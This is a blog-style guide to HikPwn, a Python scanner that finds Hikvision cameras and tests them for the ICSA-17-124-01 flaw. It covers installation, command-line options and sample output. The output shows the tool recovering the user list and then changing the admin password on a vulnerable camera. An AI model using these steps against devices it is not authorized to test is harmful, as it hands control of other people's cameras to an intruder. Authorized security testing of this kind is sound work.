HikPwn : Simple Scanner For Hikvision Devices With Basic Vulnerability Scanning

HikPwn: Comprehensive Guide to Scanning Hikvision Devices for Vulnerabilities

If you’re searching for an efficient way to discover and test Hikvision network devices for vulnerabilities, HikPwn is a standout tool for both security researchers and network administrators. This guide provides a detailed walkthrough of HikPwn > its core features, installation, setup, and utilization.

What is HikPwn?

HikPwn is a Python-based scanner specifically designed for Hikvision devices, offering both passive and active network enumeration. Written in Python 3.8, it provides basic vulnerability scanning capabilities, notably for the widely-known ICSA-17-124-01 vulnerability, which may grant admin-level access if exploited successfully. HikPwn is an open-source project intended for educational and security testing purposes only.

Key Features of HikPwn

Passive Discovery: Detects Hikvision devices by monitoring network traffic unobtrusively.
Active Enumeration: Uses UDP UPNP probing to actively locate and enumerate device details.
Vulnerability Detection: Identifies and can exploit ICSA-17-124-01 (admin access) with options for post-exploitation, like password changes.
Data Logging: Automatically saves all enumerated information to a log file for easy review.
Efficient and Lightweight: Tested on Python 3.8 under Linux 4.19 x86_64.

Note: Upcoming features include support for direct target scanning and detection of CVE-2021-36260.

Complete Installation & Setup Instructions

1. Prerequisites

Python 3.8 (recommended environment)
Linux system (tested on Linux 4.19 x86_64)
Git and pip installed

2. Clone the GitHub Repository

git clone https://github.com/4n4nk3/HikPwn.git
 cd HikPwn

3. Install Dependencies

Install all required Python packages using pip:

pip install -r requirements.txt

If you encounter permissions issues, run the command with sudo.

Using HikPwn: Step-By-Step

HikPwn offers both passive and active scanning with simple command-line options:

General Usage

 python3 hikpwn.py --interface <INTERFACE> --address <IP_ADDRESS> [--active] [--ICSA_17_124_01]

Optional Arguments Breakdown

Argument	Description
`--interface INTERFACE`	Network interface to use (e.g., eth0)
`--address ADDRESS`	IP address of selected interface
`--active`	Enable active device discovery
`--ICSA_17_124_01`	Enable ICSA-17-124-01 vulnerability detection
`-h, --help`	Show help message and exit

Typical Workflow Example

Start Passive & Active Discovery python3 hikpwn.py --interface eth0 --address 192.168.1.10 --active
Scan for Vulnerabilities (ICSA-17-124-01) python3 hikpwn.py --interface eth0 --address 192.168.1.10 --ICSA_17_124_01

Results are automatically saved to ./log.txt for later review.

Sample Output Preview

Using eth0 as network interface and 192.168.1.10 as its IP address...
[*] Started 30 seconds of both passive and active discovery...
================================================================================
[*] Total detected devices: 1
192.168.1.20
================================================================================
[*] Active discovery's results:
DEVICE #1:
----------------------------------------------
Serial Number: xxxxxxxxxxxxxxxxxxxxx
Description: DS-2DE4220IW-D
MAC: XX:XX:XX:XX:XX:XX
IP: 192.168.1.20
DHCP in use: false
Software Version: V5.4.3 build 160810
DSP Version: V7.3 build 160801
Boot Time: 2019-03-01 00:05:33
Activation Status: true
Password Reset Ability: true
================================================================================
[*] Passive discovery's results:
DEVICE #1: Detected device with IP address 192.168.1.20 and MAC address XX:XX:XX:XX:XX:XX.
================================================================================
[*] Starting scan for ICSA-17-124-01...
192.168.1.20 is vulnerable to ICSA_17_124_01. Recovered user list:
user_id: 1, user_name: admin, priority: high, user_level: Administrator
Do you want to exploit the vulnerability and try to change admin's password? (y/n)
>>> y
Enter a password composed of numbers and letters (8-12 characters):
>>>
Password change successful.

Important Security Disclaimer

HikPwn is for educational and authorized security testing only. Do not use this tool for unauthorized scanning or exploitation of networks and devices. Misuse may be illegal and unethical.